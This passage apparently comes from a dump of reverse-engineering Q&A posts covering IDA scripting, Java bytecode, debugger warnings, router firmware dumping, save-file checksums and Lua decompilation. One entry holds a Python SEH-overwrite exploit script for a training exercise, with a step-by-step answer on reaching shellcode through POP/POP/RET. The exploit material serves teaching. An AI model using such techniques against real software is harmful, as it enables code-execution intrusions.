        "Answer": "<p>A common issue is missing <code>symsrv.dll</code>. Please make sure you have it on the remote machine and that <code>win32_remote.exe</code> can find it.</p>\n\n<p>You can also append <code>-z10000</code> to the command line in order to get more output from the MS-DIA libraries.</p>\n\n<p>Thanks to HexRays for this answer.</p>\n"
    },
    {
        "Id": "4770",
        "CreationDate": "2014-07-02T23:13:55.980",
        "Body": "<p>I'm using the following IDC function to copy the RAM Data and Code sections from the packed binary, into the correct runtime locations for my Fujitsu FR system:</p>\n\n<pre><code>static idc_memcpy(source, dest, count, desc)\n{\n    auto i, val;\n\n    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));\n    Message(\"Copy %a: Start\\n\", dest);\n\n    for(i = 0; i &lt; count; i = i + 2 )\n    {\n        val = Word(source + i);\n        PatchWord(dest + i, val);\n    }\n\n    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&amp;GetCharPrm(INF_GENFLAGS));\n\n    MakeUnknown(source,count,DOUNK_EXPAND+DOUNK_DELNAMES);\n\n    HideArea(source, source+count-1, desc, \"\", \"\", -1);\n    SetHiddenArea(source, 1 );\n    Message(\"Copy %a: End\\n\", dest);\n\n}\n</code></pre>\n\n<p>But when I go to the source address I see: </p>\n\n<pre><code>ROM:00447E8C ; [0000C878 BYTES: BEGIN OF AREA RAM Data2 Source. PRESS KEYPAD \"-\" TO COLLAPSE]\nROM:00447E8C unk_447E8C:     .byte 0xFF              ; DATA XREF: Tsk32+176o\nROM:00447E8D                 .byte 0xFF\nROM:00447E8E                 .byte 0xFF\nROM:00447E8F                 .byte 0xFF\nROM:00447E90                 .byte    0\nROM:00447E91                 .byte 0x30 ; 0\nROM:00447E92                 .byte    0\nROM:00447E93                 .byte    0\n</code></pre>\n\n<p>I was hoping/expecting to have that area hidden, what am I doing wrong. If I press keypad <kbd>-</kbd> I get the error message:</p>\n\n<blockquote>\n  <p>IDA failed to display the program in graph mode.\n  Only instructions belonging to functions can be displayed in graph mode.</p>\n</blockquote>\n",
        "Title": "Hide data areas in IDA IDC",
        "Tags": "|ida|",
        "Answer": "<p>Solved it after trying many things.</p>\n\n<p>I had to change the data area to a byte array with</p>\n\n<pre><code>    MakeByte(source);\n    MakeArray(source, byte_count);\n</code></pre>\n\n<p>after the <code>MakeUnknown</code>, and then call <code>SetHidden</code> with value <code>0</code></p>\n\n<p>Also to the Hiding the Area with keyboard, the new default keys are <kbd>Ctrl</kbd>+<kbd>-</kbd>, the displayed text in IDA is wrong.</p>\n\n<p>thus final code was:</p>\n\n<pre><code>static idc_memcpy(source, dest, byte_count, desc)\n{\n    auto i, val;\n\n    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));\n    Message(\"Copy %a: Start\\n\", dest);\n\n    for(i = 0; i &lt; byte_count; i = i + 2 )\n    {\n        val = Word(source + i);\n        PatchWord(dest + i, val);\n    }\n\n    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&amp;GetCharPrm(INF_GENFLAGS));\n\n    MakeUnknown(source,byte_count,DOUNK_EXPAND+DOUNK_DELNAMES);\n    MakeByte(source);\n    MakeArray(source, byte_count);\n\n    HideArea(source, source+byte_count, desc, \"\", \"\", -1);\n    SetHiddenArea(source, 0 );\n    Message(\"Copy %a: End\\n\", dest);\n}\n</code></pre>\n"
    },
    {
        "Id": "4773",
        "CreationDate": "2014-06-30T18:38:00.013",
        "Body": "<p>I am trying to exploit this little program I found on <a href=\"http://opensecuritytraining.info/\" rel=\"nofollow noreferrer\">opensecuritytraining.info</a>.\nBut, somehow, I am stuck at this point. What I did was to create a file which gets read from the program. Here is the code I am using for this:</p>\n\n<pre><code>#!/usr/bin/env python\n\nimport struct\n\nmystring = b\"\\xCC\"*1096# junk\nnSEH = b\"\\xeb\\x06\\x90\\x90\"\nSEH  = struct.pack(\"&lt;L\", 0x004011B6)\nopcode = \"\\xe9\\xdf\\xf6\\xff\\xff\"\n\nmystring += nSEH + SEH + (\"\\x90\"*16) + opcode\nfileName='C:\\hellothere.bin'\n\nwith open(fileName, 'wb') as fb:\n    fb.write(bytearray(mystring))\nfb.close()\n</code></pre>\n\n<p>So, I am stuck at this point where I am overriding the buffer with <code>\\xCC</code>, But my question is, when I am placing another jump code where the <code>CC</code>'s override the saved <code>EIP</code> register. Can I jump further backwards to where my shell code takes place ? </p>\n\n<p>I mean in principle this should be possible for some tweaking or adjusting  of the exploit code itself.</p>\n\n<p>Any idea ?</p>\n\n<p><img src=\"https://i.stack.imgur.com/SWEJR.png\" alt=\"exercise\"></p>\n",
        "Title": "How should I reach my shellcode?",
        "Tags": "|windows|x86|buffer-overflow|",
        "Answer": "<p>As far as the screenshot depicts, I can say that you are on the right track. You have correctly, overwritten the <strong>Pointer to NextSEH</strong> and <strong>SE Handler</strong>.</p>\n\n<h1><strong>Some explanation:</strong></h1>\n\n<p><strong>Exception Registration Record Structure</strong></p>\n\n<pre><code>typedef struct _EXCEPTION_REGISTRATION_RECORD\n{\n   struct _EXCEPTION_REGISTRATION_RECORD *Next;\n   PEXCEPTION_ROUTINE                     Handler;\n} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;\n</code></pre>\n\n<p>Whenever a new function is called which has exception handling mechanism, the <strong>EXCEPTION_REGISTRATION_RECORD</strong> is added to the stack. Where <strong>*Next</strong> is the pointer to the <strong>Previous EXCEPTION_REGISTRATION_RECORD</strong> and <strong>Handler</strong> is the function pointer to the <strong>Exception handler</strong>.</p>\n\n<p>The <strong>FS:0</strong> register always points to the first <strong>EXCEPTION_REGISTRATION_RECORD</strong>. Once the <strong>EXCEPTION_REGISTRATION_RECORD</strong> is pushed on the stack, the <strong>FS:0</strong> register will be set to point to the new <strong>EXCEPTION_REGISTRATION_RECORD</strong> and <strong>Next</strong> record will be set to point to the previous value of <strong>FS:0</strong> register. This will maintain the link list of the SEH chains.</p>\n\n<p><strong>ExceptionHandler Structure</strong></p>\n\n<pre><code>typedef EXCEPTION_DISPOSITION (*ExceptionHandler) (\n    IN PEXCEPTION_RECORD ExceptionRecord,\n    IN ULONG64 EstablisherFrame,\n    IN OUT PCONTEXT ContextRecord,\n    IN OUT PDISPATCHER_CONTEXT DispatcherContext\n);\n</code></pre>\n\n<p>When an exception occurs, <strong>System Exception Dispatcher</strong> routine kicks in and it's sets up it's own stack frame. The structure of the <strong>ExceptionHandler</strong> is pushed to the stack. </p>\n\n<p>In SEH overwrite scenario, an attacker is lucky because, <strong>System Exception Dispatcher</strong> routine places the <strong>EstablisherFrame</strong> value on the stack at <strong>[ESP+8]</strong> before this <strong>ExceptionHandler</strong> function is called. </p>\n\n<p><strong>EstablisherFrame</strong> is the pointer to the <strong>NextSEH</strong> record. An attacker is able to control it by overwriting <strong>NextSEH</strong> record with arbitrary memory address.</p>\n\n<p><strong>Note:</strong> <em>Attacker has not overwritten the <strong>EstablisherFrame</strong>. However, the attacker has overwritten <strong>NextSEH</strong> pointer which was there on the stack.</em></p>\n\n<p>Once, you pass the exception <strong>System Exception Dispatcher</strong> passes the control to the <strong>SE handler</strong> and the exception handling code is executed.</p>\n\n<p><strong>Exploitation Tactics:</strong></p>\n\n<ol>\n<li>Attacker will overwrite the <strong>NextSEH</strong> with <strong>Backward Jump</strong> and the <strong>SE Handler</strong> with the address of <strong>POP/POP/RET</strong> sequence.</li>\n<li>Once the exception occurs, the address of <strong>NextSEH</strong> will be placed on the stack at <strong>[ESP+8]</strong> due to exception dispatch routine prologue.</li>\n<li>Once the exception is passed, the exception dispatcher routine will pass the control to <strong>SE Handler</strong>.</li>\n<li><strong>SE Handler</strong> will execute the <strong>POP/POP/RET</strong> sequence and will <strong>POP</strong> the address of <strong>NextSEH</strong> in <strong>EIP</strong>. Hence, gaining code execution.</li>\n</ol>\n\n<p>Please accept my apologies if there are mistakes in the answer, and please help to improve the answer so that it's useful to the community members.</p>\n\n<p>Thanks.</p>\n"
    },
    {
        "Id": "4783",
        "CreationDate": "2014-07-04T12:31:23.680",
        "Body": "<p>I modified the byte-code of a third party Java desktop application's <code>.class</code> file (and repacked the <code>.jar</code>), only to see that during runtime, my change made no difference, unless my change caused a crash somehow. The most simple experiment I did was to use a hex editor and simply replace a letter in a text string in the <code>.class</code> file. Runtime (of course, after restarting the Java application), the text was still the original text.</p>\n\n<p>Here's an example of the original byte-code:</p>\n\n<pre><code>ldc \"Some text.\"\n</code></pre>\n\n<p>Using a hex editor, I changed the string, and looked again in the byte-code editor:</p>\n\n<pre><code>ldc \"Xome text.\"\n</code></pre>\n\n<p>The decompiled code also shows the modified string. There are no more references to the original string in the <code>.class</code> file. Despite this change, the displayed text at runtime is \"<em>Some text.</em>\" rather than \"<em>Xome text.</em>\".</p>\n\n<p>Is there anything I need to take into consideration, e.g. some sort of cache (outside the scope of the application) that must be cleared? I tried to delete the \"<em>Temporary Internet Files</em>\" in the Java console, to no avail.</p>\n\n<p>Thank you for any assistance you can provide! :)</p>\n\n<p><strong>Removed:</strong> The decompiled code and modified files for the real-world application I was experimenting on, due to their questionable nature (didn't really help anyone anyway).</p>\n",
        "Title": "Modified Java byte-code, no difference runtime",
        "Tags": "|java|byte-code|",
        "Answer": "<p>Firstly, I would mention that instead of using a general purpose hex editor, a dedicated <code>class</code> editor would be much better. There are plenty of them. </p>\n\n<p>You tried editing the <code>class</code> file and to your surprise the changes you made were not reflected. At that point you should be pretty much sure that there <em>must</em> be some other tricks such as generating the strings dynamically, encryption, obfuscation etc.The <code>class</code> files could also be loaded from some other locations such as a <code>cache</code> which you do not expect.</p>\n\n<p>One way to get information about which classes are loaded is to use the following command line switch while starting java.</p>\n\n<pre><code>java -verbose:class -jar &lt;Your jar file&gt;\n</code></pre>\n\n<p>This way the <code>jvm</code> will notify you when classes are loaded and from which locations. Using this you can know if there is some sort of <em>hidden</em> <code>cache</code> from which it loads <code>class</code> files.</p>\n\n<p>After this option fails, i.e. when you are sure that there is no such hidden <code>cache</code>, you can almost be sure that there is <code>encryption</code> involved or the strings are generated \ndynamically. <code>Decompiling</code> would help, but of course if there is no obfuscation to hinder decompiling. If everything else fails, you may try inspecting the <code>bytecode</code> of the <code>class</code>files as a last resort.</p>\n"
    },
    {
        "Id": "4789",
        "CreationDate": "2014-07-05T12:08:17.227",
        "Body": "<p>Executable files created through managed framework like .Net have <code>.exe</code> extension whereas application created through languages like C++ also has <code>.exe</code> extension. How does the OS knows whether to run the application through managed framework like .Net or directly ?</p>\n",
        "Title": "How does the OS distinguish between executable types",
        "Tags": "|windows|executable|",
        "Answer": "<p>The COM Descriptor Data Directory (DD 14) is used to lookup the COR20 structure. This is how you can tell the difference between a managed executable and a native executable.</p>\n\n<p>See <a href=\"https://reverseengineering.stackexchange.com/questions/1614/determining-if-a-file-is-managed-code-or-not/\">this question</a> for more information. Also see this introduction to the <a href=\"http://www.ntcore.com/files/dotnetformat.htm\" rel=\"nofollow noreferrer\">dotnet file format</a> for an overview.</p>\n"
    },
    {
        "Id": "4812",
        "CreationDate": "2014-07-09T01:59:44.823",
        "Body": "<p>I want to set a breakpoint and suddenly the following message appears:</p>\n<blockquote>\n<p>You want to place breakpoint outside the code section. INT3 breakpoint set on data will  not execute and may have disastrous influence on the debugged program. Do you really want to set breakpoint here?</p>\n<p>Note: you can permanently disable this warning in Options|Security.</p>\n</blockquote>\n<p>Without knowing what that is, I would guess that is not allowed to set the breakpoint.\nSo my question would be:</p>\n<p>How can I bypass the annoying message? Or better: what must I do to not see this?</p>\n",
        "Title": "Suspicious breakpoint message in ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>PE files have several sections like <code>.code</code> , <code>.data</code>, <code>.bss</code> etc. Each of the sections have a special purpose, such as the <code>.code</code> section <em>usually</em> contains the programs code i.e. the instructions, the <code>.data</code> sections houses the initialized variables etc.</p>\n\n<p>The above rule is merely a convention followed by compilers. In a packed/obfuscated program, the convention may not always hold true. You can have instructions in data segment and vice-versa. This is done for various reasons like thwarting analysis ,disassembly etc.</p>\n\n<p>When in Ollydbg you try to set a <code>INT3</code> breakpoint on an instruction that happens to be in a section marked for data, Ollydbg would complain and that is the message you see. </p>\n\n<p>The reason for this is suppose that the instruction you set a breakpoint on is actually data. In this case, when the program reads in the value at the address it would read <code>0xCC</code> (INT3 -> 0xCC) instead of the actual value. That can crash the program. Further since this is a read operation, the breakpoint will never be hit.</p>\n\n<p>If you want, you may disable the message in Ollydbg options, however doing that is not always recommended. Instead if you are sure that it is an instruction, you may ignore the warning and set the breakpoint.</p>\n\n<p>The other way is instead of using a <code>INT3</code> breakpoint, set a Hardware breakpoint (HWBP) on execution at the aforesaid address. This way the program would not crash, even if the hwbp was set on data. HWBP's are enforced my the CPU and does not modify the program in any way unlike <code>INT3</code> breakpoints</p>\n"
    },
    {
        "Id": "4817",
        "CreationDate": "2014-07-09T09:04:04.573",
        "Body": "<p>This is my first attempt at doing some reverse engineering. I'm trying to dump the filesystem off a huawei hg523a TalkTalk router.</p>\n\n<p>The problem is its quite limited in the amount of programs that are on the device. Below are a list of programs i can use.</p>\n\n<pre><code>BusyBox vv1.9.1 (2012-03-05 00:16:52 CST) multi-call binary\nCurrently defined functions:\n        [, [[, arp, ash, cat, chmod, chown, cp, date, echo, ftpget,\n        ftpput, halt, ifconfig, init, kill, killall, linuxrc,\n        ln, ls, mcast, mkdir, mknod, mount, netstat, nslookup,\n        ping, poweroff, ps, reboot, rm, route, sh, sleep, test,\n        top, traceroute, umount, vconfig, wget\n</code></pre>\n\n<p>So im trying to extract the filesystem to another linux machine so i can go through it more eaisely. I can upload single files with the ftpput command.</p>\n\n<pre><code>cat /proc/mtd\ndev:    size   erasesize  name\nmtd0: 00010000 00001000 \"boot\"\nmtd1: 00001000 00001000 \"flag\"\nmtd2: 003c0000 00001000 \"main\"\nmtd3: 0002d000 00001000 \"config\"\n</code></pre>\n\n<p>What im trying to do is upload mtdblock0-3 and then mount this on my other machine to explore the folder structure etc.. It looks like from /proc/mounts that it is a squashfs file system.</p>\n\n<pre><code>cat /proc/mounts\nrootfs / rootfs rw 0 0\n/dev/root / squashfs ro 0 0\nnone /dev tmpfs rw 0 0\n/proc /proc proc rw 0 0\nnone /var tmpfs rw 0 0\nnone /tmp tmpfs rw 0 0\nnone /mnt tmpfs rw 0 0\n</code></pre>\n\n<p>So basically i upload the mtdblock0.</p>\n\n<pre><code>ftpput -s -v -u james -p password -l /dev/mtdblock0 -r ftpdir/mtdblock0 192.168.1.64\n</code></pre>\n\n<p>and mount it on the other computer with:</p>\n\n<pre><code>root@kali:~/Desktop/talktalk/blocks# mount -t squashfs mtdblock0 /mnt\nmount: wrong fs type, bad option, bad superblock on /dev/loop0,\n       missing codepage or helper program, or other error\n       In some cases useful info is found in syslog - try\n       dmesg | tail  or so\n</code></pre>\n\n<p>Could anyone guide me in the right direction as to what i might be doing wrong? So it not possible to transfer the filesystem in this way?</p>\n\n<p>thank you in advance for your help.</p>\n",
        "Title": "Dumping firmware through mtdblock device",
        "Tags": "|firmware|embedded|dumping|",
        "Answer": "<p>You can do cat <code>/proc/mtd</code> for the exact \"image\"</p>\n\n<pre><code>cat /proc/mtd \ndev:    size   erasesize  name\nmtd0: 01000000 00001000 \"whole_flash\"\nmtd1: 00020000 00001000 \"bootloader\"\nmtd2: 00060000 00001000 \"userconfig\"\nmtd3: 004c0000 00001000 \"filesystem1\"\nmtd4: 00300000 00001000 \"kernel1\"\nmtd5: 00300000 00001000 \"kernel2\"\nmtd6: 004c0000 00001000 \"filesystem2\"\n</code></pre>\n"
    },
    {
        "Id": "4821",
        "CreationDate": "2014-07-10T01:46:17.863",
        "Body": "<p>I learned the disassembly challenges from <a href=\"https://www.usenix.org/legacy/event/usenix03/tech/full_papers/prasad/prasad_html/node5.html\" rel=\"nofollow\">this link</a>. The following six challenges are listed in that article:</p>\n\n<ol>\n<li>Data embedded in the code regions</li>\n<li>Variable instruction size</li>\n<li>Indirect branch instructions</li>\n<li>Functions without explicit CALL sites within the executable's code segment</li>\n<li>Position independent code (PIC) sequences</li>\n<li>Hand crafted assembly code.</li>\n</ol>\n\n<p>However, I am thinking about the following disassembly method which seems to solve the above challenges. Assuming we have an executable to be disassembled, an input set that can has 100% coverage of the code, and an emulator (e.g. QEMU). Then, we can instrument the emulator to output each instruction executed by the emulated CPU and the corresponding memory address. After that, we can translate each instruction to assembly instruction, and the whole program is now disassembled. </p>\n\n<p>Could you please tell me why this idea will not/will work?</p>\n",
        "Title": "Disassemble using an emulator",
        "Tags": "|disassembly|emulation|",
        "Answer": "<blockquote>\n  <p>Can we use dynamic analysis (or just emulator) to achieve 100% code coverage?</p>\n</blockquote>\n\n<p>No, if I was right, it equals to Turing Halting problem.</p>\n\n<blockquote>\n  <p>emulator based disassemble approach</p>\n</blockquote>\n\n<p>I am afraid this may not be a very new idea, and code coverage is a big issue.</p>\n\n<p>But it is always possible that you find a different angle and make some contributions in related area.</p>\n\n<p>An interesting paper in last year's tier-one security conference CCS 2013 <a href=\"https://www.utdallas.edu/~zxl111930/file/CCS13.pdf\" rel=\"nofollow\">Obfuscation Resilient Binary Code Reuse through</a> even push related ideas future. </p>\n\n<p>It leverages an emulator to disassemble code, dynamic taint analysis to lift concrete value into symbols, and somehow re-use the disassembled asm code (embedded in C code.)</p>\n\n<p>I wish it could be helpful</p>\n"
    },
    {
        "Id": "4824",
        "CreationDate": "2014-07-10T03:47:40.887",
        "Body": "<p>I recently overwrote the save game file of a video game that my girlfriend and I had been playing through. After trying to recover the file a few different ways (game didn't erase but overwrote the save file), I'm resigned to trying to rebuild the save data manually.</p>\n\n<p>I've played with reverse engineering binary executables from crackmes.de in the past with Ollydbg, but this is different and I feel like I'm a bit out of my waters.</p>\n\n<p>The game (Sonic All Stars Racing) uses a single .bin file to store records for four in-game accounts. Using a hex editor, pen and paper, I've begun to plot out the file structure and locate offsets for various records.</p>\n\n<p>The problem I have is that whenever I make a modification to the file, same size or otherwise, the game declares the save file corrupted and fails to use it. I assume that this is because the game is implementing some form of CRC/checksum on the data to prevent using a corrupted file. (Aside: are CRC and checksum interchangeable terms?)</p>\n\n<hr>\n\n<p>The game saves the data to a file named <code>\"ssr_save.bin\"</code> which is responsible for four in-game profiles.</p>\n\n<p>What I did was create four different save files by making a backup of the save file after  creating each profile.</p>\n\n<p>Each file is largely the same. 727040 bytes large. The only difference seems to be the first 12 bytes (0x00 to 0x0B inclusive). These first twelve bytes are completely unique between the four files.</p>\n\n<p>There does, however, appear to be more than one data object in that range as there are 3 bytes of zero in the centre of the 12.</p>\n\n<pre><code>File 1: 19 8E 0B 60 13 00 00 00 F9 3E 00 B0\nFile 2: 93 7B 0F 36 13 00 00 00 B6 35 02 9B\nFile 3: 69 71 1B 14 13 00 00 00 A1 30 08 8A\nFile 4: D9 47 32 E8 13 00 00 00 D9 9B 13 74\n</code></pre>\n\n<p>What I'm trying to figure out is what these bytes represent and how I can manipulate them to let me modify the body of the save data and not throw the corruption error in the game.</p>\n\n<p>Can anyone help me find out how the game is checksumming the file and reverse engineer the process so I can create a valid file?</p>\n\n<p><a href=\"https://dl.dropboxusercontent.com/u/303145/savefiles.zip\" rel=\"nofollow\">Here is an archive of the four save-data files</a></p>\n\n<p>Troy.</p>\n",
        "Title": "Modifying a binary save-data file for a video game with a CRC/Checksum check",
        "Tags": "|binary-analysis|static-analysis|hex|cryptography|",
        "Answer": "<p>This is quite hard question to answer due to variables within reverse engineering.</p>\n\n<p>I would recommend you start off with:</p>\n\n<ul>\n<li>Start game</li>\n<li>Get some coins or whatever is saved then save the game.</li>\n<li>Restart the game and get more coins and save the game.</li>\n<li>Replace the new save with your old file.</li>\n<li>Does it load? See Answer 1. Otherwise, Answer 2.</li>\n</ul>\n\n<p><strong>Answer 1</strong>\nYour modified versions of your game files are just in the incorrect format.\nYou will need to some reverse engineering of how the bytes are used within the game.\nI'd recommend you breakpoint CreateFile and ReadFile and step through your debugger and see how each byte is been read. Ofcourse, this can become a massive task.</p>\n\n<p><strong>Answer 2</strong>\nThe game file checksum could be stored somewhere on the file-system or registry to ensure data-integrity of the file. You could use tools such as Process Monitor to help you locate this file or you could set breakpoint on CreateFile and ReadFile and search for it yourself manually.\n<a href=\"http://technet.microsoft.com/en-gb/sysinternals/bb896645.aspx\" rel=\"nofollow\">http://technet.microsoft.com/en-gb/sysinternals/bb896645.aspx</a></p>\n\n<p>Let me know if you get answer 1 or 2 then I can expand my answer in more in-depth details of things you should look out for and so on.</p>\n\n<p>I hope this will be a good starting point to your issue.</p>\n"
    },
    {
        "Id": "5827",
        "CreationDate": "2014-07-10T12:54:08.977",
        "Body": "<p>I've been experimenting with decompiling Lua bytecode and found useful tools like unluac, and LuaAssemblyTools. Unluac seems to do the trick with lua scripts compiled with luac giving me almost the exact source code, however when I convert lua script to bytecode using the code:</p>\n\n<pre><code>file:write(string.dump(loadfile(filename)))\n</code></pre>\n\n<p>I get a different output than with luac, however they are very much the same being only a byte extra at (a lot of) different places. Now this new file will give me an <code>IllegalState exception</code> from unluac and when I try to run the bytecode file (created by the code line above) in luac with the -l option I get:</p>\n\n<pre><code>C:\\MyDir&gt;luac -l stringdumped.txt\nluac: stringdumped.txt: bad integer in precompiled chunk\n</code></pre>\n\n<p>So there is clearly a difference between <code>string.dump</code> and luac, even though it is suggested here: <a href=\"http://lua-users.org/wiki/LuaCompilerInLua\" rel=\"nofollow\">http://lua-users.org/wiki/LuaCompilerInLua</a> to use <code>string.dump</code> as an emulator for luac.</p>\n\n<p>Could anyone explain the difference to me, and suggest how I would go about reversing a <code>string.dump</code> \"compiled\" script?</p>\n",
        "Title": "Decompiling/disassembling lua bytecode",
        "Tags": "|disassembly|decompile|byte-code|",
        "Answer": "<p>There is virtually no difference between the bytecode emitted by <code>loadfile</code> and <code>luac</code>.\nThe only possible reason for the error you are getting is that you are opening the file <em>stringdumped.txt</em> in text mode. Try the following code and see if there are any errors</p>\n\n<pre><code>f = io.open(\"stringdumped.txt\", \"wb\") --Note that file is opened in binary mode\nf:write(string.dump(loadfile(\"sample.lua\")))\nf:close()\n</code></pre>\n\n<p>Since there is no difference, the output file <em>stringdumped.txt</em> can both be run by the lua interpreter as well as decompiled by <em>unluac</em>. The reversing steps too are exactly similar as you would do with any other compiled lua scripts.</p>\n"
    },
    {
        "Id": "5830",
        "CreationDate": "2014-07-10T17:44:34.873",
        "Body": "<p>I am trying to generate a <em>coarse-grained</em> Call Graph based on some assembly code disassembled from binary on x86 32 bit platform.</p>\n\n<p>It is very hard to generate a precise Call Graph based on asm code, thinking of various indirect control flow transfer, so right now I <strong>only consider direct control flow transfer</strong>.</p>\n\n<p>So firstly I am trying to identify <code>functions</code> (begin and end addresses) in the disassembled assembly code \nfrom a <strong>stripped</strong> binary on x86, 32bit.</p>\n\n<p>Right now, my plan is somehow like this:</p>\n\n<p>As for the begin addresses, I might conservatively consider any assembly code looks like this</p>\n\n<pre><code>    push %ebp\n</code></pre>\n\n<p>indicates the beginning address of a function.</p>\n\n<p>and also, I might scan the whole problem, identifying all the <code>call</code> instruction with the destination, the consider these function call's destinations as all the function begin address</p>\n\n<p>The problems are:</p>\n\n<ol>\n<li><p>some of the functions defined in a binary might never be called.</p></li>\n<li><p>some of the <code>call</code> has been optimised as <code>jump</code> by compiler (thinking of tail recursive call)</p></li>\n</ol>\n\n<p>As for the end address, things become more tricky because multiple <code>ret</code> could exist in one single function...</p>\n\n<p>So I am thinking that I might conservatively consider the range between any nearest <strong>function begin addresses</strong>, as one function..</p>\n\n<p>Am I right? Is there any better solution..?</p>\n",
        "Title": "How to identify functions in a stripped binary on x86 32bit?",
        "Tags": "|disassembly|assembly|binary-analysis|static-analysis|",
        "Answer": "<p>Generally, the solutions to this problem can be classified to:</p>\n\n<ul>\n<li><p>Pattern matching heuristics. Just like what you are proposing. For example, searching for <code>push</code>es in the binary can provide a (rather) rough approximation of function starts. Things are more difficult if you want to locate function ends though.</p></li>\n<li><p>Machine learning. Pattern matching can be automated using machine learning. There are several proposals in the literature like [<a href=\"https://www.aaai.org/Papers/AAAI/2008/AAAI08-127.pdf\" rel=\"nofollow noreferrer\">1</a>], [<a href=\"https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-bao.pdf\" rel=\"nofollow noreferrer\">2</a>], and [<a href=\"https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-shin.pdf\" rel=\"nofollow noreferrer\">3</a>]. All of which attempt to learn byte-level features of function starts and ends. However, modern compiler optimizations make it challenging for such approaches to generalize to binaries beyond the training set.</p></li>\n<li><p>CFG-based techniques. This is the most promising approach based on [<a href=\"https://doi.org/10.1145/2968455.2968505\" rel=\"nofollow noreferrer\">4</a>] (disclosure: first author here) and concurrently [<a href=\"https://doi.org/10.1109/EuroSP.2017.11\" rel=\"nofollow noreferrer\">5</a>]. Basically, it proceeds with (1) direct call target analysis, (2) CFG traversal to locate function ends, and (3) tail-call target analysis.</p></li>\n<li><p>Call frame information (CFI) records. Before doing anything fancy, checkout the CFI records in the <code>.eh_frame</code> section. There is a good chance that functions are defined there already. In order to dump CFI records, you can use something like <code>readelf --debug-dump=frames /bin/ls</code>.</p></li>\n</ul>\n\n<p>I've recently revisited the problem of function identification in this blog <a href=\"https://blog.formallyapplied.com/2020/05/function-identification/\" rel=\"nofollow noreferrer\">post</a> where I provide more details.</p>\n"
    },
    {
        "Id": "5834",
        "CreationDate": "2014-07-11T16:33:41.737",
        "Body": "<p>I compiled the following program using gcc version 4.6.3 on Ubuntu 32bit with the command <code>gcc -ggdb -o test test.c</code></p>\n\n<pre><code>\nvoid test(int a, int b, int c, int d)\n{\n    int flag;\n    char buffer[10];<br />\n    flag = 31337;\n    buffer[0] = 'a';\n    a = 5;\n}\n\nint main(void)\n{\n    test(1, 2, 3, 4);\n    return 0;\n}\n</code></pre>\n\n<p>The disassembly of the above test function in gdb is :-\n<pre><code>\n   0x08048404 &lt;+0>:     push   ebp\n   0x08048405 &lt;+1>:     mov    ebp,esp\n   0x08048407 &lt;+3>:     sub    esp,0x28\n   0x0804840a &lt;+6>:     mov    eax,gs:0x14\n   0x08048410 &lt;+12>:    mov    DWORD PTR [ebp-0xc],eax\n   0x08048413 &lt;+15>:    xor    eax,eax\n   0x08048415 &lt;+17>:    mov    DWORD PTR [ebp-0x20],0x7a69\n   0x0804841c &lt;+24>:    mov    BYTE PTR [ebp-0x16],0x41\n=> 0x08048420 &lt;+28>:    mov    DWORD PTR [ebp-0x1c],0x5\n   0x08048427 &lt;+35>:    mov    eax,DWORD PTR [ebp-0xc]\n   0x0804842a &lt;+38>:    xor    eax,DWORD PTR gs:0x14\n   0x08048431 &lt;+45>:    je     0x8048438 \n   0x08048433 &lt;+47>:    call   0x8048320 &lt;__stack_chk_fail@plt>\n   0x08048438 &lt;+52>:    leave\n   0x08048439 &lt;+53>:    ret\n</pre></code></p>\n\n<p>As much as I know, the assembly instruction after arrow corresponds to the C instruction <code>a = 5;</code> in test function. So the address <code>[ebp-0x1c]</code> should represent the address of variable <code>a</code>.<br />\nBut the address that <code>[ebp-0x1c]</code> represents is <code>0xbffff2bc</code> and the address of variable <code>a</code> is <code>0xbffff2e0</code>.<br />\nI don't understand how both addresses can be different. Is this some kind of optimization done by gcc?<br /></p>\n",
        "Title": "gcc storing value of a variable at a different location",
        "Tags": "|disassembly|",
        "Answer": "<p>Since you're not reading <code>a</code> anywhere, it seems gcc doesn't even bother reading it from the stack, and creates a local variable for it. Try replacing the <code>a=5</code> with <code>a+=5</code>, so the compiler has to read the variable, and the instruction will probably be changed to access [ebp+8], which is where the parameter should be stored.</p>\n\n<p>The reason for this behaviour <em>might</em> be that gcc tries to make the 32 bit code generation more similar to the 64 bit version, where parameters are passed in registers, and need to be saved <em>below</em> the stack pointer if the compiler needs the register, or a pointer to the parameter needs to be created. Doing the same in 32 bit - at least sometimes - might help the developers share code between the 32- and 64 bit optimizers.</p>\n"
    },
    {
        "Id": "5839",
        "CreationDate": "2014-07-13T01:42:04.520",
        "Body": "<p>I have wanted to get into the art of reverse engineering for quite some time now, so I took a look at a few online lessons (such as opensecuritytraining.info) and also got my hands on IDA Pro.</p>\n\n<p>Obviously, since this is a complex topic, I was overwhelmed by registers, pointers, instructions et cetera. I know assembler and C fairly well, it's just (like I said earlier) a topic where you have to learn much.</p>\n\n<p>Now to my actual question: I have downloaded a \"CrackMe\"-Program and started debugging it. Basically the objective is to find a key which you then have to enter into a Textbox in the program. I found the key checking function fairly easily and identified some logic, but I can't wrap my head around how the program actually compares the string. My C skills are much greater than my Assembler skills, so I decided to get some Pseudocode printed. The problem is that the Pseudocode is pretty messy (I'm guessing that's because of compiler optimizations) and I basically can't understand what this piece of code is supposed to do.</p>\n\n<p>Here is the code (sorry it's a bit long):</p>\n\n<pre><code>int __usercall TSDIAppForm_Button1Click&lt;eax&gt;(int a1&lt;eax&gt;, int a2&lt;ebx&gt;, int a3&lt;edi&gt;, int a4&lt;esi&gt;)\n{\n  int v4; // ebx@1\n  int v5; // esi@1\n  int v6; // eax@1\n  signed int v7; // eax@3\n  signed int v8; // edx@3\n  int v9; // ebx@3\n  int v11; // edx@12\n  int v12; // [sp-24h] [bp-34h]@1\n  int (*v13)(); // [sp-20h] [bp-30h]@1\n  int *v14; // [sp-1Ch] [bp-2Ch]@1\n  int v15; // [sp-18h] [bp-28h]@1\n  int (*v16)(); // [sp-14h] [bp-24h]@1\n  int *v17; // [sp-10h] [bp-20h]@1\n  int v18; // [sp-Ch] [bp-1Ch]@1\n  int v19; // [sp-8h] [bp-18h]@1\n  int v20; // [sp-4h] [bp-14h]@1\n  int v21; // [sp+0h] [bp-10h]@1\n  int v22; // [sp+4h] [bp-Ch]@1\n  int 